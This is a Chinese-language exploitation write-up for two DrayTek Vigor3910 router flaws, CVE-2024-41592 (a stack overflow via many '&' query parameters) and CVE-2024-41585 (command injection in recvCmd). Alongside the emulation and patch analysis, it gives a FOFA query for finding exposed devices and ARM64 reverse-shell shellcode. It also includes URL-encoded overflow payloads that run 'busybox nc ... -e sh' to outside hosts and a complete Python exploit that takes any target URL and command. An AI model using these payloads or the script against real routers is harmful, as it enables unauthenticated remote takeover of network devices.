CVE-2024-41592/41585 DrayTek 栈溢出

CVE-2024-41592

漏洞描述

漏洞描述:通过向Web UI的40多个CGI页面中的任何一个发送一个很长的查询字符串来触发,使用许多 “&”字符来分隔查询字符串参数

漏洞组件:sohod64.bin

漏洞类型:未授权栈溢出

影响范围:EoL(End of Life 停止维护)版本仅包含CVE-2024-41592的修复程序,Fixed Versions代表漏洞修复的版本

image-20250223171214702

漏洞分析

固件版本:Vigor3910_v3.9.7.2

fofa:"Vigor 3910" && title=="Vigor Login Page"

标志:var buildtime="Dec 21 2021 17:26:18";

获取用户get请求的数据,没有限制长度循环给a2赋值导致溢出漏洞

img

环境搭建

本机环境

1
2
3
4
win10:192.168.1.10
ubuntu20.04192.168.2.156 net模式
网关:192.168.1.1
固件版本:Vigor3910_v3.9.7.2

固件解包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@key:/home/key/Desktop/3910/cpio-root# ll
total 100
drwxr-xr-x 23 root root 4096 109 11:26 ./
drwxr-xr-x 3 root root 4096 109 11:29 ../
drwxr-xr-x 2 root root 4096 109 11:26 bin/
drwxr-xr-x 3 root root 4096 109 11:26 dev/
drwxr-xr-x 3 root root 4096 109 11:26 draytek/
drwxr-xr-x 8 root root 4096 109 11:26 etc/
drwxr-xr-x 3 root root 4096 109 11:26 firmware/
drwxr-xr-x 2 root root 4096 109 11:26 home/
drwxr-xr-x 2 root root 4096 109 11:26 include/
-rw-r--r-- 1 root root 10 10月 9 11:20 init
drwxr-xr-x 5 root root 4096 109 11:26 lib/
drwxr-xr-x 3 root root 4096 109 11:26 lib64/
-rw-r--r-- 1 root root 12 10月 9 11:20 linuxrc
drwxr-xr-x 2 root root 4096 109 11:26 lost+found/
drwxr-xr-x 2 root root 4096 109 11:26 mnt/
drwxr-xr-x 2 root root 4096 109 11:26 mnth/
drwxr-xr-x 2 root root 4096 109 11:26 proc/
drwxr-xr-x 2 root root 4096 109 11:26 root/
drwxr-xr-x 2 root root 4096 109 11:26 sbin/
drwxr-xr-x 2 root root 4096 109 11:26 share/
drwxr-xr-x 2 root root 4096 109 11:26 sys/
drwxr-xr-x 2 root root 4096 109 11:26 testfunc/
drwxr-xr-x 2 root root 4096 109 11:26 tmp/
drwxr-xr-x 8 root root 4096 109 11:26 usr/
drwxr-xr-x 5 root root 4096 109 11:26 var/

检查 firmware 目录下的启动脚本run_linux.sh,发现 qemu 启动时存在一个非标准参数 -dtb DrayTek,猜测是开发者修改过 QEMU 源代码,自行添加的参数。

img

Draytek 提供设备的 GPL 代码,下载 3910 型号的 GPL 代码分析确定,开发者为 QEMU 添加了一些新功能,用来支持 drayos 运行,所以我们需要编译这份 GPL 代码。

1
2
3
4
5
6
解压GPL
tar -xvjf new_v3910_v396_GPL_release.tar.bz2
找到qemu源码,然后解压编译
tar -xvjf qemu-2.12.1.tar.bz2
./configure --enable-kvm --enable-debug --target-list=aarch64-softmmu
make

编译好之后得到需要的 qemu-system-aarch64,接下来要修改原始的启动脚本,适配本地环境。

将编译完成qemu-system-aarch64拷贝到固件解包的文件系统中,目标路径cpio-root/firmware

1
2
3
4
root@key:/home/key/Desktop/3910/Vigor3910_v396_GPL_release/source/linux/cavium-rootfs/src_dir/qemu-2.12.1# find | grep qemu-system-aarch64
./aarch64-softmmu/qemu-system-aarch64

root@key:/home/key/Desktop/3910/cpio-root/firmware# cp ../../Vigor3910_v396_GPL_release/source/linux/cavium-rootfs/src_dir/qemu-2.12.1/aarch64-softmmu/qemu-system-aarch64 .

宿主机需要新添加两张网卡,修改 network.sh 脚本,将网卡名称替换到脚本中

创建网卡,配置IP

1
2
3
4
sudo tunctl -t ens38 -u root
sudo ifconfig ens38 192.168.1.10/24
sudo tunctl -t ens39 -u root
sudo ifconfig ens39 192.168.1.11/24

在路径cpio-root/firmware创建network.shmyrun.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/bin/bash

iflan=ens38
ifwan=ens39
mylanip="192.168.1.10"

brctl delbr br-lan
brctl delbr br-wan

ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $iflan
brctl addif br-lan qemu-lan
ip addr flush dev $iflan
ifconfig br-lan $mylanip
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $iflan up

ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan $ifwan
brctl addif br-wan qemu-wan
ip addr flush dev $ifwan
ifconfig br-lan $mylanip
ifconfig br-wan up
ifconfig qemu-wan up
ifconfig $ifwan up

brctl show

#for speed test
ethtool -K $iflan gro off
ethtool -K $iflan gso off

ethtool -K $ifwan gro off
ethtool -K $ifwan gso off

ethtool -K qemu-lan gro off
ethtool -K qemu-lan gso off

ethtool -K qemu-wan gro off
ethtool -K qemu-wan gso off


#for telnet from linux to drayos 192.168.1.1
ethtool -K br-lan tx off

然后构造启动脚本,首先按照参考文章的提示,修改自带的启动脚本,当尝试启动文中提到的版本(4.3.1)时一切正常,但启动新版时会出现错误

1
2
3
4
5
6
7
8
9
10
11
12
[qemu_ivshmem_write_internal:2729] already wait for more than 100ms, check host.

## Drv software rebooting : cmd=1, fun=check_max_portmap_sessions, line=31874 ##

dump_backtrace: fp:0x467ffe60, pc:0x4064fc48
Call trace: 0x4064fc48 0x406fac58 0x404757a8 0x407bb120 0x407dfec4 0x406fbe84 0x406fb304 0x406fb250 0x40000c08 0x40000078 0x40000040
reboot handler not init yet
Init MAX session 300000
portmap addr_range 0x1c9c380 > exmem_portmap_end_addr 0x0

!!! NULL, malloc Portmap memory fail
dray_nat_allocate_memory : malloc memory fail

通过逆向分析发现和 portmap 内存有关系,而这块内存又和参数 memsize 有关,因此尝试将 memsize 值修改为 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/bin/bash
# 1. do "fw_setenv purelinux 1" first , then reboot
# 2. do setup_qemu_linux.sh (default P3 as WAN, P4 as LAN, for both 1Gbps connection only)
# 3. remember to recover to normal mode by "fw_setenv purelinux 0"

rangen() {
printf "%02x" `shuf -i 1-255 -n 1`
}


rangen1() {
printf "%x" `shuf -i 1-15 -n 1`
}

wan_mac(){
idx=$1
printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}

A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:${A}:${B}:${C}"

if [ ! -p serial0 ]; then
mkfifo serial0
fi
if [ ! -p serial1 ]; then
mkfifo serial1
fi

platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path

cfg_path="./magic_file"

echo "GCI_SKIP" > gci_magic

mkdir -p ../data/uffs
touch ../data/uffs/v3910_ram_flash.bin
uffs_flash="../data/uffs/v3910_ram_flash.bin"

echo "1" > memsize

(sleep 20 && ethtool -K qemu-lan tx off) &

model="./model"
echo "3" > ./model

rm -rf ./app && mkdir -p ./app/gci
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"

echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "GCI_SKIP" > $GDEF_FILE

SHM_SIZE=16777216
./qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 -L ../usr/share/qemu \
-kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
-nographic $gdb_serial_option $gdb_remote_option \
-device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
-netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
-device virtio-net-pci,netdev=network-wan,mac=00:1d:aa:${A}:${B}:$(wan_mac 1) \
-netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
-device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
-device virtserialport,chardev=ch0,name=serial0 \
-device loader,file=$platform_path,addr=0x25fff0 \
-device loader,file=$cfg_path,addr=0x260000 \
-device loader,file=$uffs_flash,addr=0x00be0000 \
-device loader,file=$enable_kvm_path,addr=0x25ffe0 \
-device loader,file=memsize,addr=0x25ff67 \
-device loader,file=$model,addr=0x25ff69 \
-device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
-device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
-device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
-device nec-usb-xhci,id=usb \
-device ivshmem-plain,memdev=hostmem \
-object memory-backend-file,size=${SHM_SIZE},share,mem-path=/dev/shm/ivshmem,id=hostmem

添加-s -S 参数开放一个gdb调试端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/bin/bash
# 1. do "fw_setenv purelinux 1" first , then reboot
# 2. do setup_qemu_linux.sh (default P3 as WAN, P4 as LAN, for both 1Gbps connection only)
# 3. remember to recover to normal mode by "fw_setenv purelinux 0"

rangen() {
printf "%02x" `shuf -i 1-255 -n 1`
}


rangen1() {
printf "%x" `shuf -i 1-15 -n 1`
}

wan_mac(){
idx=$1
printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}

A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:${A}:${B}:${C}"

if [ ! -p serial0 ]; then
mkfifo serial0
fi
if [ ! -p serial1 ]; then
mkfifo serial1
fi

platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path

cfg_path="./magic_file"

echo "GCI_SKIP" > gci_magic

mkdir -p ../data/uffs
touch ../data/uffs/v3910_ram_flash.bin
uffs_flash="../data/uffs/v3910_ram_flash.bin"

echo "1" > memsize

(sleep 20 && ethtool -K qemu-lan tx off) &

model="./model"
echo "3" > ./model

rm -rf ./app && mkdir -p ./app/gci
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"

echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "GCI_SKIP" > $GDEF_FILE

SHM_SIZE=16777216
./qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -s -S -m 1024 -L ../usr/share/qemu \
-kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
-nographic $gdb_serial_option $gdb_remote_option \
-device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
-netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
-device virtio-net-pci,netdev=network-wan,mac=00:1d:aa:${A}:${B}:$(wan_mac 1) \
-netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
-device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
-device virtserialport,chardev=ch0,name=serial0 \
-device loader,file=$platform_path,addr=0x25fff0 \
-device loader,file=$cfg_path,addr=0x260000 \
-device loader,file=$uffs_flash,addr=0x00be0000 \
-device loader,file=$enable_kvm_path,addr=0x25ffe0 \
-device loader,file=memsize,addr=0x25ff67 \
-device loader,file=$model,addr=0x25ff69 \
-device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
-device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
-device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
-device nec-usb-xhci,id=usb \
-device ivshmem-plain,memdev=hostmem \
-object memory-backend-file,size=${SHM_SIZE},share,mem-path=/dev/shm/ivshmem,id=hostmem

gdb连接

1
2
3
4
5
6
7
8
9
10
# gdb-multiarch 
gef➤ set architecture aarch64
The target architecture is assumed to be aarch64
gef➤ set endian little
The target is assumed to be little endian
gef➤ file sohod64.bin
Reading symbols from sohod64.bin...
(No debugging symbols found in sohod64.bin)
gef➤ target remote 192.168.1.10:1234
Remote debugging using 192.168.1.10:1234

启动时先执行 network.sh,随后执行 myrun.sh,访问 192.168.1.1 即可看到登录页面

img

默认登录密码:admin/admin

img

端口服务扫描

img

连接telnet,登录用户名/密码:admin/adminweb端登录密码

img

poc/exp

经过调试发现,程序调用执行流为:sub_40141AF0->sub_40CD6528->sub_40BC1690

此时堆栈图如下:其中ret_addr3是我们可以覆盖的地址

image-20250223171527934

堆栈细节图如下:我们可以构造多对&key=value&进行溢出,最终覆盖ret_addr,但需要注意的是栈上保存的是key_addr或者value_addr都是.reserved段的地址,导致不能将ret_addr覆盖为任意值

image-20250223171542730

PoC

1
http://192.168.1.1/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&[shellcode]

返回地址x30寄存器被控,0x4da2ffc0地址为.reserved段地址

img

img

程序下一步跳转到0x4da2ffc0地址

img

经过调试发现.reserved段地址有执行权限

img

EXP

思路:

一:由于.reserved段地址有执行权限直接执行shellcode

二:利用shellcode跳转到CVE-2024-41585

三:利用shellcode构造ROP重置密码之类的操作

采用思路一:(不通)

shellcode:设计一个socket客户端,主动向目标服务器端口链接,下面是一个整体思路框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
.global _start

.section .text
_start:
// 创建 socket: socket(AF_INET, SOCK_STREAM, 0)
mov x0, 0x2 // AF_INET (IPv4)
mov x1, 0x1 // SOCK_STREAM (TCP)
mov x2, 0x0 // IPPROTO_IP
mov x8, 198 // 系统调用号 for socket
svc #0 // 执行系统调用
mov x19, x0 // 保存 socket 描述符到 x19

// 连接到目标地址: connect(sock, (struct sockaddr*)&addr, sizeof(addr))
adr x1, sockaddr // x1 = 指向 sockaddr 的指针
mov x2, 0x10 // x2 = sizeof(struct sockaddr)
mov x8, 203 // 系统调用号 for connect
svc #0 // 执行系统调用

// 重定向标准输入、输出、错误到 dup3(sock, 2, 0); dup3(sock, 1, 0); dup3(sock, 0, 0);
mov x0, x19 // socket 描述符
mov x8, 24 // 系统调用号 for dup2
mov x2, 0x0

mov x1, 2 // 标准输入 (stderr)
svc #0 // 执行系统调用

mov x1, 1 // 标准输出 (stdout)
svc #0 // 执行系统调用

mov x1, 0 // 标准错误 (stdin)
svc #0 // 执行系统调用

// 执行 /bin/sh: execve("/bin/sh", ["/bin/sh", NULL], NULL)
adr x0, binsh // x0 = 指向 "/bin/sh" 的指针
mov x1, 0x0 // argv = NULL
mov x2, 0x0 // envp = NULL
mov x8, 221 // 系统调用号 for execve
svc #0 // 执行系统调用

// struct sockaddr_in addr
//.align 16 // 16 字节对齐
sockaddr:
.hword 0x2 // AF_INET (2 bytes)
.hword 0x5c11 // Port number 4444 (2 bytes)
.byte 0xc0, 0xa8, 0x02, 0x87 // IP Address 192.168.2.135 in little-endian (4 bytes)
//.space 8 // 填充剩余的 8 字节,保证16字节对齐

binsh:
.asciz "/bin/sh"

由于unescape_url函数对请求进行url解码,如果遇到“%”字符(表示url编码的字符),它只需要取下面两个字符,将其转换为相应的十六进制值,并直接写 入结果字符串中。例如,字符“%3B”就变成了分号。没有任何检查来确保得到的十六进制值对应于任何已知的字符编码,允许我们利用这种技术偷运shellcode。例如,字符串“%DE%AD%BE%EF”变成了字节数组“\xde\xad\xbe\xef”。同时可以绕过00截断问题

img

因此exp如下:

1
2
3
4
5
6
7
8
9
10
11
反弹shell到192.168.2.135:4444端口
http://192.168.1.1/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&%40%00%80%d2%21%00%80%d2%02%00%80%d2%c8%18%80%d2%01%00%00%d4%f3%03%00%aa%41%02%00%10%02%02%80%d2%68%19%80%d2%01%00%00%d4%e0%03%13%aa%08%03%80%d2%02%00%80%d2%41%00%80%d2%01%00%00%d4%21%00%80%d2%01%00%00%d4%01%00%80%d2%01%00%00%d4%e0%00%00%10%01%00%80%d2%02%00%80%d2%a8%1b%80%d2%01%00%00%d4%02%00%11%5c%c0%a8%02%87%2f%62%69%6e%2f%73%68%00

执行/bin/sh
http://192.168.1.1/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&%e1%45%8c%d2%21%cd%ad%f2%e1%65%ce%f2%01%0d%e0%f2%e1%8f%1f%f8%e1%03%1f%aa%e2%03%1f%aa%e0%63%21%8b%a8%1b%80%d2%e1%66%02%d4

http://192.168.1.1/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&[shellcode_%]

反弹shell到198.46.249.106:4444端口
nc -lvnp 4444
/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&%20%00%80%d2%41%00%80%d2%02%00%80%d2%c8%18%80%d2%01%00%00%d4%f3%03%00%aa%21%02%00%10%02%02%80%d2%68%19%80%d2%01%00%00%d4%e0%03%13%aa%01%00%80%d2%e8%02%80%d2%01%00%00%d4%21%00%80%d2%01%00%00%d4%41%00%80%d2%01%00%00%d4%e0%00%00%10%01%00%80%d2%02%00%80%d2%a8%1b%80%d2%01%00%00%d4%02%00%11%5c%6a%f9%2e%c6%2f%62%69%6e%2f%73%68%00

但执行shellcodesvc #0时,程序触发异常,程序重启陷入死循环,因此此路不通

img

img

怀疑在执行shellcode的时候,程序存在drayos系统中,需要越狱跳转到Linux环境下才可以正常执行shellcode

采用思路二:

控制参数x0=cmd_addrx1=0x0,最后跳转到virtcons_out函数,触发CVE-2024-41585漏洞进行命令执行,同时控制返回地址到/cgi-bin/wlogin.cgi请求的正常返回地址,保证程序不崩溃

控制程序执行流执行printf函数,执行后跳转到/cgi-bin/wlogin.cgi请求的正常返回地址,可以发现正常程序执行printf函数被成功调用,并且程序没有崩溃,web界面刷新正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_start:
// x0 = 地址(字符串位置)
adr x0, command_string // 把字符串的地址加载到x0中

// x1 = 0
mov x1, #0 // 把x1设置为0

// x7 = 0x40D587B0
movz x7, #0x87B0 // 把0x87B0加载到x7的低16位
movk x7, #0x40D5, lsl #16 // 把0x40D5加载到x7的高16位

// x30 = 0x40160dac
movz x30, #0x0dac // 把0xdac加载到x30的低16位
movk x30, #0x4016, lsl #16 // 把0x4016加载到x30的高16位

// 跳转到x7
br x7 // 执行x7寄存器地址处的指令

// 数据部分
command_string:
.asciz "set_linux_time ;busybox nc 192.168.2.135 1234 -e sh;"

img

对应的exp如下:

1
http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%f6%90%d2%a7%1a%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6%73%65%74%5f%6c%69%6e%75%78%5f%74%69%6d%65%20%3b%62%75%73%79%62%6f%78%20%6e%63%20%31%39%32%2e%31%36%38%2e%32%2e%31%33%35%20%31%32%33%34%20%2d%65%20%73%68%3b%00

验证合理后,控制执行流指向到virtcons_out函数,触发CVE-2024-41585漏洞进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.section .data
.text
.global _start

_start:
// x0 = 地址(字符串位置)
adr x0, command_string // 把字符串的地址加载到x0中

// x1 = 0
mov x1, #0 // 把x1设置为0

// x7 = 0x40030068
movz x7, #0x0068 // 把0x68加载到x7的低16位
movk x7, #0x4003, lsl #16 // 把0x4003加载到x7的高16位

// x30 = 0x40160dac
movz x30, #0x0dac // 把0xdac加载到x30的低16位
movk x30, #0x4016, lsl #16 // 把0x4016加载到x30的高16位

// 跳转到x7
br x7 // 执行x7寄存器地址处的指令

// 数据部分
command_string:
.asciz "set_linux_time ;busybox nc 192.168.2.135 1234 -e sh;"

img

1
2
3
4
5
6
7
8
9
http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bifconfig%20br-wan3%20192.169.2.152%3B

http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bbusybox%20nc%20192.168.2.135%201234%20-e%20sh%3B

http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bifconfig%20br-wan4%20192.169.42.42%3B

http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bbusybox%20ping%20198.46.249.106%3B

http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bbusybox%20nc%20198.46.249.106%204444%20-e%20sh%3B

img

注意:模拟环境中recvCmd进程没有正常启动导致命令无法执行,下面是真机测试

https://xx.xx.xx.xx/weblogin.htm 弱密码:admin/admin

执行调用printf测试,web界面正常刷新,telnet无影响

image-20250223171908085

img

执行reboot命令,web界面无响应,telnet断开

image-20250223171943112

img

getshell失败,通过telnet中的ip ping IP的命令可以ping通目标服务器,但通过漏洞无法ping通,猜测是路由器自身防火墙策略问题,

image-20250223172016648

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib.parse import quote

url = input("input url: ")
cmd = input("input cmd: ")

if "http://" not in url and "https://" not in url:
print("url格式错误,eg:https//:ip or http://ip")

cmd = quote(cmd)
url = url + "/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bbusybox%20" + cmd + "%3B"

try:
# 发送 GET 请求并禁用 SSL 认证
response = requests.get(url, verify=False, timeout=10)
print("success")
except requests.RequestException as e:
# 如果发生异常,打印错误并跳过该 URL
print(f'Error accessing {url}: {e}')

补丁分析

固件版本:Vigor3910_v4.3.2.8

循环时对长度进行了校验

img

总结

“键”释放问题

键值对对栈空间覆盖之后,会调用FreeCtrlName函数对”键”值进行释放,理论上是对全部”键”值进行释放,但调试发现并不是全部释放,因此不会导致我们后续的返回地址的覆盖

img

img

1
2
3
4
5
if ( !sub_40BC1690(v81, v80 + 496, v82) ) // 漏洞点 
{
sub_400BCD80(*(v81 + 0xCLL), "Location: /doc/cgierr.htm\n\n", 256LL);
return FreeCtrlName(v80 + 496); // 释放所有的"键"
}

sub_40BC1690执行后imgFreeCtrlName执行后img

上面是调试细节,可以看到不会对”键”全部释放

CVE-2024-41585

漏洞描述

漏洞描述:DrayTek Vigor3910设备版本至4.3.2.6存在操作系统命令注入漏洞,攻击者可利用recvCmd二进制文件逃离模拟实例并向主机注入任意命令。

漏洞组件:recvCmd

漏洞类型:命令执行

影响范围:EoLEnd of Life 停止维护)版本仅包含CVE-2024-41592的修复程序,Fixed Versions代表漏洞修复的版本

image-20250223172504121

漏洞分析

固件版本:Vigor3910_v3.9.7.2

fofa:"Vigor 3910" && title=="Vigor Login Page"

标志:var buildtime="Dec 21 2021 17:26:18";

整体分析:

在一些DrayTek设备上,虽然用户无法访问主机操作系统,但 guest可以与主机进行通信。例如,当用户请求重新启动DrayOS时,客户机会向主机发送一条消息,要求它重新启动客户机。这个通信通道是由客户机通过一个虚拟串行接口用一个特殊的函数“virtcons_out()”(用于“reboot”等 OS命令)实现的。主机使用一个名为“recvCmd”的特殊二进制文件来监听这个虚拟串行接口,并执行客户机请求 的命令。

细节分析:

分析recvCmd

main函数分析

读取command_list获取可执行命令列表,空格变\n保存到ptr变量中,我们通过virtcons_out()传递的命令保存在/firmware/serial0文件中,通过读取/firmware/serial0文件获取命令,每次读取64字节,然后传递给sub_400FB0函数

其中/etc/runcommand/command_list中保存了命令列表

1
reboot fw_upload gci_exp quit set_linux_time sethostlan setportspeed update_ps backup_soho setadminpass f2 set_board_info halt usbcmd uffssave

img

跟进sub_400FB0函数,遍历传入的命令字符串到第一个\n或者空格的长度,保存到len_0

img

判断我们输入的命令是否在漏洞列表中,如果在跳出循环,传递到sub_400F08函数

img

跟进sub_400F08函数,对我们的输入的命令进行过滤,在19-37行,将命令中的\n替换为空格,过滤不严格造成命令执行漏洞

img

busybox命令列表

1
[ , [[, acpid, addgroup, adduser, arp, arping, ash, awk, basename, blkdiscard, blkid, blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, chattr, chgrp, chmod, chown, chpst, chroot, cksum, clear, cmp, comm, cp, crond, crontab, cttyhack, cut, date, dc, dd, delgroup, deluser, depmod, devmem, devstatus, df, dhcprelay, diff, dirname, dmesg, dnsdomainname, du, dumpleases, echo, egrep, env, expr, false, fatattr, fdflush, fdisk, fgrep, find, findfs, flash_eraseall, flash_lock, flash_unlock, flashcp, flock, fold, free, freeramdisk, fsck, fstrim, fsync, ftpd, ftpget, ftpput, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd, hdparm, head, hexdump, hostid, httpd, hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig, ifdown, ifenslave, ifup, inetd, init, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, ipneigh, iproute, iptunnel, kill, killall, klogd, last, less, linux32, linux64, linuxrc, ln, logger, login, logread, ls, lsmod, lsof, lsusb, lzcat, makedevs, md5sum, mesg, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mountpoint, mv, nanddump, nandwrite, nc, netstat, nice, nsenter, nslookup, ntpd, od, openvt, passwd, patch, pgrep, pidof, ping, ping6, pipe_progress, pkill, pmap, poweroff, powertop, printenv, printf, ps, pscan, pwd, readlink, realpath, reboot, renice, reset, resize, rev, rm, rmdir, rmmod, route, rtcwake, runlevel, runsv, script, sed, sendmail, seq, setconsole, setlogcons, setsid, setuidgid, sh, showkey, shuf, sleep, smemcap, softlimit, sort, split, stat, strings, stty, su, sulogin, sum, sv, svc, svlogd, swapoff, swapon, sync, sysctl, syslogd, tail, tar, taskset, tcpsvd, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr, traceroute, traceroute6, true, truncate, tty, ttysize, ubiattach, ubidetach, ubimkvol, ubirename, ubirmvol, ubirsvol, ubiupdatevol, udhcpc, udhcpd, uevent, umount, uname, unlink, unshare, unzip, uptime, usleep, vconfig, vi, wall, watch, watchdog, wc, wget, which, whoami, xargs, xzcat, yes, zcat

动态调试分析virtcons_out函数,发现限制长度63virtcons_out函数接收俩个参数a1=cmd_addra2=0x0

img

img

参考链接

https://wzt.ac.cn/2024/02/19/vigor_3910/

https://www.forescout.com/resources/draybreak-draytek-research/

https://packetstormsecurity.com/files/153464/Linux-ARM64-Reverse-TCP-Shell-Null-Free-Shellcode.html